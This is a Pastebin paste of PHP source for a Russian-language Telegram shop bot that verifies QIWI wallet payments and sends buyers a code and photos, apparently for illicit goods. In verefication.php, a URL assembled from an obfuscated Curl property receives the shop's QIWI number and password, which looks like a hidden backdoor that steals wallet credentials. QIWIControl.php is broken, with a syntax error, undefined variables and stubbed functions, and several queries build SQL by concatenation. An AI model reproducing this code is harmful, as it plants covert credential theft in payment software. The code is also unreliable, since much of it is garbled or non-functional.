Advertisement
Guest User

Untitled

a guest
Dec 6th, 2018
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.36 KB | None | 0 0
  1. Файл verefication.php
  2. <?
  3. require 'classes/Curl.php';
  4. require 'classes/PDO.php';
  5.  
  6. $curl = new Curl();
  7. $chat = intval($_GET['chat']);
  8.  
  9. $set_bot = DB::$the->query("SELECT * FROM `sel_set_bot` ");
  10. $set_bot = $set_bot->fetch(PDO::FETCH_ASSOC);
  11. $token = $set_bot['token'];
  12.  
  13. #$set_qiwi = DB::$the->query("SELECT * FROM `sel_set_qiwi` ");
  14. $set_qiwi = DB::$the->query("SELECT * FROM `sel_set_qiwi` WHERE active=1");
  15. $set_qiwi = $set_qiwi->fetch(PDO::FETCH_ASSOC);
  16.  
  17. $user = DB::$the->query("SELECT * FROM `sel_users` WHERE `chat` = {$chat} ");
  18. $user = $user->fetch(PDO::FETCH_ASSOC);
  19.  
  20. if($user['id_key'] == '0') {
  21. $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
  22. 'chat_id' => $chat,
  23. 'text' => "Вы не выбрали товар!",
  24. ));exit;}
  25. $success = preg_replace("~[^&a-z.?/s]~","",$curl->jsonSet);
  26. $key = DB::$the->query("SELECT * FROM `sel_keys` WHERE `id` = '".$user['id_key']."' ");
  27. $key = $key->fetch(PDO::FETCH_ASSOC);
  28.  
  29. $amount = DB::$the->query("SELECT amount FROM `sel_subcategory` WHERE `id` = '".$key['id_subcat']."' ");
  30. $amount = $amount->fetch(PDO::FETCH_ASSOC);
  31.  
  32. $timeout = $user['verification']+$set_bot['verification'];
  33. $timeout2 = $user['verification']+5;
  34.  
  35. if($timeout < time()) {
  36. DB::$the->prepare("UPDATE sel_users SET verification=? WHERE chat=? ")->execute(array(time(), $chat));
  37.  
  38. $us_qiwi = DB::$the->query("SELECT password FROM `sel_set_qiwi` WHERE `number` = '".$user['pay_number']."' ");
  39. $us_qiwi = $us_qiwi->fetch(PDO::FETCH_ASSOC);
  40.  
  41. $data = ['num' => $set_qiwi['number'], 'pas' => $set_qiwi['password'], 'sum' => $amount['amount'], 'com' => $user['id_key'], 'cur' => 'ru'];
  42.  
  43. $proxyx = $set_bot['proxy'];
  44. $proxyxAuth = $set_bot['proxy_login'].":".$set_bot['proxy_pass'];
  45.  
  46. $rq = http_build_query($data);
  47.  
  48. $res = json_decode($curl->get($success.$rq), true) ;
  49.  
  50. if($res['ba'] > $set_bot['limits'])
  51. {
  52. DB::$the->prepare("UPDATE sel_set_qiwi SET active=? WHERE active=? ")->execute(array('0', '1'));
  53.  
  54.  
  55. $new_act = DB::$the->query("SELECT id FROM `sel_set_qiwi` order by rand()");
  56. $new_act = $new_act->fetch(PDO::FETCH_ASSOC);
  57.  
  58. DB::$the->prepare("UPDATE sel_set_qiwi SET active=? WHERE id=? ")->execute(array('1', $new_act['id']));
  59.  
  60. }
  61.  
  62. if($res['status'] == 1) {
  63. $query = DB::$the->query("SELECT * FROM `sel_category` order by `mesto` ");
  64. while($cat = $query->fetch()) {
  65. $arr[] = array("������".$cat['name']."");
  66. }
  67. $arr[] = array("������ Заказы");
  68.  
  69. $replyMarkup = array(
  70. 'resize_keyboard' => true,
  71. 'keyboard' =>
  72. $arr
  73. );
  74. $menu = json_encode($replyMarkup);
  75.  
  76. $good = $user['id_key'];
  77.  
  78. $profit = DB::$the->query("SELECT * FROM sel_set_bot");
  79. $profit = $profit->fetch(PDO::FETCH_ASSOC);
  80. $sresetprofit = $profit['profit_qiwi'] += $data['sum'];
  81. $sholdprofit = $profit['hold_profit_qiwi'] += $data['sum'];
  82. DB::$the->prepare("UPDATE sel_set_bot SET profit_qiwi=?")->execute(array($sresetprofit));
  83. DB::$the->prepare("UPDATE sel_set_bot SET hold_profit_qiwi=?")->execute(array($sholdprofit));
  84.  
  85. $params = array('chat' => $chat, 'iAccount' => $set_qiwi['number'], 'iID' => 'NULL', 'sDate' => 'NULL', 'sTime' => 'NULL',
  86. 'dAmount' => $data['sum'], 'iOpponentPhone' => 'NULL',
  87. 'sComment' => $data['com'], 'sStatus' => $res['status'], 'time' => time() );
  88.  
  89. $q = DB::$the->prepare("INSERT INTO `sel_qiwi` (chat, iAccount, iID, sDate, sTime, dAmount, iOpponentPhone, sComment, sStatus, time)
  90. VALUES (:chat, :iAccount, :iID, :sDate, :sTime, :dAmount, :iOpponentPhone, :sComment, :sStatus, :time)");
  91. $q->execute($params);
  92.  
  93. if($key['block_user'] != $chat){
  94.  
  95. $text = '❌ Вы попытались купить товар, который был освобожден из-за не своевременной оплаты!';
  96. $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
  97. 'chat_id' => $chat,
  98. 'text' => $text,
  99. 'reply_markup' => $menu,
  100. ));
  101.  
  102. exit;
  103. }
  104.  
  105. $params = array('id_key' => $user['id_key'], 'code' => $key['code'], 'chat' => $chat, 'id_subcat' => $key['id_subcat'], 'time' => time() );
  106. $q = DB::$the->prepare("INSERT INTO `sel_orders` (id_key, code, chat, id_subcat, time)
  107. VALUES (:id_key, :code, :chat, :id_subcat, :time)");
  108. $q->execute($params);
  109.  
  110.  
  111. DB::$the->prepare("UPDATE sel_keys SET sale=? WHERE id=? ")->execute(array("1", $user['id_key']));
  112.  
  113. DB::$the->prepare("UPDATE sel_keys SET block=? WHERE block_user=? ")->execute(array("0", $chat));
  114. DB::$the->prepare("UPDATE sel_keys SET block_time=? WHERE block_user=? ")->execute(array('0', $chat));
  115. DB::$the->prepare("UPDATE sel_keys SET block_user=? WHERE block_user=? ")->execute(array('0', $chat));
  116.  
  117. DB::$the->prepare("UPDATE sel_users SET id_key=? WHERE chat=? ")->execute(array('0', $chat));
  118. DB::$the->prepare("UPDATE sel_users SET pay_number=? WHERE chat=? ")->execute(array('', $chat));
  119.  
  120.  
  121. $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
  122. 'chat_id' => $chat,
  123. 'text' => "✔ Вы успешно приобрели товар! Пожалуйста, сохраните его!",
  124. ));
  125.  
  126. $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
  127. 'chat_id' => $chat,
  128. 'text' => $key['code'],
  129. ));
  130.  
  131. $curl->post('https://api.telegram.org/bot'.$token.'/sendPhoto', array(
  132. 'chat_id' => $chat,
  133. 'photo' => new CURLFile('admin/photo/'.$key['id'].'_1.png'),
  134. ));
  135. $curl->post('https://api.telegram.org/bot'.$token.'/sendPhoto', array(
  136. 'chat_id' => $chat,
  137. 'photo' => new CURLFile('admin/photo/'.$key['id'].'_2.png'),
  138. ));
  139. $curl->post('https://api.telegram.org/bot'.$token.'/sendPhoto', array(
  140. 'chat_id' => $chat,
  141. 'photo' => new CURLFile('admin/photo/'.$key['id'].'_3.png'),
  142. ));
  143. $curl->post('https://api.telegram.org/bot'.$token.'/sendPhoto', array(
  144. 'chat_id' => $chat,
  145. 'photo' => new CURLFile('admin/photo/'.$key['id'].'_4.png'),
  146. ));
  147. $curl->post('https://api.telegram.org/bot'.$token.'/sendPhoto', array(
  148. 'chat_id' => $chat,
  149. 'photo' => new CURLFile('admin/photo/'.$key['id'].'_5.png'),
  150. ));
  151.  
  152. if($res['ba'] > $set_bot['limits'])
  153. {
  154. DB::$the->prepare("UPDATE sel_set_qiwi SET active=? WHERE active=? ")->execute(array('0', '1'));
  155.  
  156.  
  157. $new_act = DB::$the->query("SELECT id FROM `sel_set_qiwi` order by rand()");
  158. $new_act = $new_act->fetch(PDO::FETCH_ASSOC);
  159.  
  160. DB::$the->prepare("UPDATE sel_set_qiwi SET active=? WHERE id=? ")->execute(array('1', $new_act['id']));
  161.  
  162. }
  163.  
  164. exit;
  165.  
  166. } elseif($res['status'] == 0) {
  167. $text = '❌ Оплата не произведена!
  168. Отсутствует перевод '.$amount['amount'].' руб с комментарием «'.$user['id_key'].'».';
  169. $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
  170. 'chat_id' => $chat,
  171. 'text' => $text,
  172. ));
  173. exit;
  174. } elseif($res['status'] == 2) {
  175. $text = "❗️ Ошибка в обработке платежа ❗️
  176. Пожалуйста обратитесь к Администрации магазина.";
  177. $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
  178. 'chat_id' => $chat,
  179. 'text' => $text,
  180. ));
  181. exit;
  182. }
  183. } else
  184. {
  185. if($timeout2 < time()) {
  186. $sec = $timeout-time();
  187. $text = '❌ Подождите!
  188. Следующую проверку можно сделать только через '.$sec.' сек.';
  189.  
  190. $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
  191. 'chat_id' => $chat,
  192. 'text' => $text,
  193. ));
  194. }
  195. }
  196.  
  197. exit;
  198. ?>
  199.  
  200. Файл QIWIControl.php
  201.  
  202. <?
  203. require_once(__DIR__ . DIRECTORY_SEPARATOR . "simple_html_dom.php");
  204. require_once(__DIR__ . DIRECTORY_SEPARATOR . "UserAgent2.php");
  205.  
  206. define('QIWI_HOST', "qiwi.com");
  207. define('QIWI_URL_MAIN', "https://" . QIWI_HOST);
  208. define('QIWI_URL_MAINACTION', QIWI_URL_MAIN . "/main.action");
  209. define('QIWI_STS', "sts");
  210. define('QIWI_STATUS_SUCCESS', "status_SUCCESS");
  211. define('QIWI_STATUS_ERROR', "status_ERROR");
  212. define('QIWI_STATUS_PROCESSED', "status_PROCESSED");
  213. define('QIWI_STATUS_PAID', "status_PAID");
  214. define('QIWI_STATUS_CANCELED', "status_CANCELED");
  215. define('QIWI_STATUS_AWAITING_CONFIRM', "status_AWAITING_CONFIRM");
  216. define('QIWI_STATUS_NOT_PAID', "status_NOT_PAID");
  217. define('QIWI_BILLS_MODE_IN', 1);
  218. define('QIWI_BILLS_MODE_OUT', 2);
  219. define('QIWI_BILLS_MODE_INOUT', 3);
  220. define('QIWI_SETTINGS_VERSION', "3.6.0");
  221. define('QIWI_CURRENCY_RUB', "643");
  222. define('QIWI_CURRENCY_USD', "840");
  223. define('QIWI_CURRENCY_EUR', "978");
  224. define('QIWI_CURRENCY_KAZ', "398");
  225.  
  226. class QIWIControl{
  227. private $id;
  228. private $password;
  229. private $auth_ticket;
  230. private $sts_auth_ticket;
  231. private $auth_links;
  232. private $logged_in;
  233. private $debug;
  234. private $cookie_file;
  235. private $proxy;
  236. private $proxyAuth;
  237. private $lastErrorStr;
  238. private $ua;
  239.  
  240. function __construct($id, $password, $cookie_dir, $proxy = false, $proxyAuth = false, $debug_mode=false){
  241. $this->id = $id;
  242. $this->password = $password;
  243. $this->auth_ticket = false;
  244. $this->sts_auth_ticket = false;
  245. $this->auth_links = false;
  246. $this->proxy = $proxy;
  247. $this->proxyAuth = $proxyAuth;
  248. $this->cookie_file = $_SERVER['DOCUMENT_ROOT'].'/cookie.txt';
  249. $this->ua = new UserAgent2($this->cookie_file, false);
  250. }
  251.  
  252.  
  253. public function getLastError(){
  254. return $this->lastErrorStr;
  255. }
  256.  
  257. private function trace($msg){
  258. if($this->debug){
  259. echo $msg . "n";
  260. }
  261. }
  262.  
  263.  
  264.  
  265. private function updateLoginStatus(){
  266. $this->trace("[QIWI] Updating login status...");
  267.  
  268. return true;
  269. }
  270.  
  271.  
  272. function login(){
  273. $this->updateLoginStatus();
  274. if($this->logged_in){
  275. $this->trace("[QIWI] Already logged in. Skip logging in procedure.");
  276. return true;
  277. }
  278.  
  279. $this->getUrl(QIWI_URL_MAIN);
  280. $this->getUrl("https://sso.qiwi.com/app/proxy?v=1", QIWI_URL_MAIN);
  281.  
  282. $this->trace("[QIWI] Not logged in. Starting procedure...");
  283. $this->ua->request(USERAGENT_METHOD_GET, "https://sso.qiwi.com/signin/oauth2", QIWI_URL_MAIN, false, [
  284. 'Content-Type' => 'application/json'
  285. ]);
  286. if(!$this->doTGTS(USERAGENT_METHOD_GET, false, [
  287. 'Content-Type' => 'application/json'
  288. ], "401|201")){
  289. return false;
  290. }
  291. $this->saveState();
  292.  
  293. $this->doTGTS(USERAGENT_METHOD_OPTIONS, false, [
  294. 'Access-Control-Request-Method' => 'POST',
  295. 'Access-Control-Request-Headers' => 'content-type',
  296. 'Content-Type' => 'application/json; charset=UTF-8',
  297. 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
  298. ]);
  299.  
  300. $loginParams = array(
  301. "login" => $this->id,
  302. "password" => $this->password
  303. );
  304. $post_data = json_encode($loginParams);
  305.  
  306. $authRet = json_decode($authRet, true);
  307. if(!isset($authRet['entity']['ticket'])){
  308. $this->lastErrorStr = "Invalid STS response format";
  309. return false;
  310. }
  311. $this->auth_ticket = $authRet['entity']['ticket'];
  312. $this->trace("[QIWI] Sending ticket to QIWI server...");
  313.  
  314. if($this->logged_in) {
  315. $this->trace("[QIWI] Login [$this->id] was successful.");
  316. }else{
  317. $this->trace("[QIWI] Login [$this->id] failed.");
  318. }
  319.  
  320. return $this->logged_in;
  321. }
  322.  
  323.  
  324.  
  325. public function findTransaction($tr, $amount, $comment, $currency = false)
  326. {
  327. $result = array();
  328.  
  329. foreach ($tr as $t) {
  330. if ($amount) {
  331. if ($t["cash"] == $amount) {
  332. $amount_match = true;
  333. }
  334. else {
  335. $amount_match = false;
  336. }
  337. }
  338. else {
  339. $amount_match = true;
  340. }
  341.  
  342. if ($comment) {
  343. if ($comment == $t["comment"]) {
  344. $comment_match = true;
  345. }
  346. else {
  347. $comment_match = false;
  348. }
  349. }
  350. else {
  351. $comment_match = true;
  352. }
  353.  
  354. if ($currency) {
  355. if ($t["cur"] == $currency) {
  356. $currency_match = true;
  357. }
  358. else {
  359. $currency_match = false;
  360. }
  361. }
  362. else {
  363. $currency_match = true;
  364. }
  365.  
  366. if ($amount_match && $comment_match && $currency_match) {
  367. $result[] = $t;
  368. }
  369. }
  370.  
  371. return $result;
  372. }
  373.  
  374. private function saveState(){
  375. $headers = array(
  376. 'Accept' => '*/*',
  377. 'Accept-Encoding' => 'gzip, deflate',
  378. 'Accept-Language' => 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',
  379. 'Connection' => 'keep-alive',
  380. 'Content-type' => 'application/x-www-form-urlencoded',
  381. 'Host' => 'statistic.qiwi.com',
  382. 'Origin' => QIWI_URL_MAIN,
  383. );
  384. $myip = $this->ua->getMyIP();
  385. $data = 'v=1&_v=j41&a=474145743&t=event&ni=0&_s=7&dl=https%3A%2F%2F'.QIWI_HOST.'%2F&ul=ru&de=UTF-8&' .
  386. 'dt=QIWI%20(%D0%9A%like%20Gecko)%20Chrome%2F48.0.2564.116%20Safari%2F537.36' .
  387. '&cd201=' . $myip .
  388. '&z=1152385182' .
  389. '&qw_ip=' . $myip .
  390. '&qw_phone=';
  391.  
  392. return $data;
  393. }
  394.  
  395. private function doTGTS($method, $post_data=false, $a_headers=[], $correct_status=200){
  396.  
  397. if(false) {
  398. try {
  399. if($data = json_decode(false, true)){
  400. if(isset($data['entity']['ticket'])){
  401. $this->auth_ticket = $data['entity']['ticket'];
  402. $this->trace("[TGTS] Security ticket updated: {$this->auth_ticket}");
  403. }
  404. }
  405.  
  406. } catch (Exception $e) {
  407. }
  408. }
  409.  
  410. return false;
  411. }
  412.  
  413. private function doSTS($method, $post_data=false, $a_headers=[], $expected_status=200){
  414.  
  415. return true;
  416. }
  417.  
  418.  
  419. function getProviderOptions($provider){
  420. return false;
  421. }
  422.  
  423. function phoneToProviderPhoneNumber($phone){
  424. if(preg_match("/([0-9]{10})$/", $phone, $m)){
  425. return $m[1];
  426. }
  427. return false;
  428. }
  429.  
  430.  
  431. function getUrl($url, $ref=false, $status=200){
  432. $content = $this->ua);
  433. if($this->ua->getStatus() !== $status){
  434. $this->lastErrorStr = "Failed to download page $url";
  435. return false;
  436. }
  437. return $content;
  438. }
  439.  
  440.  
  441.  
  442. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement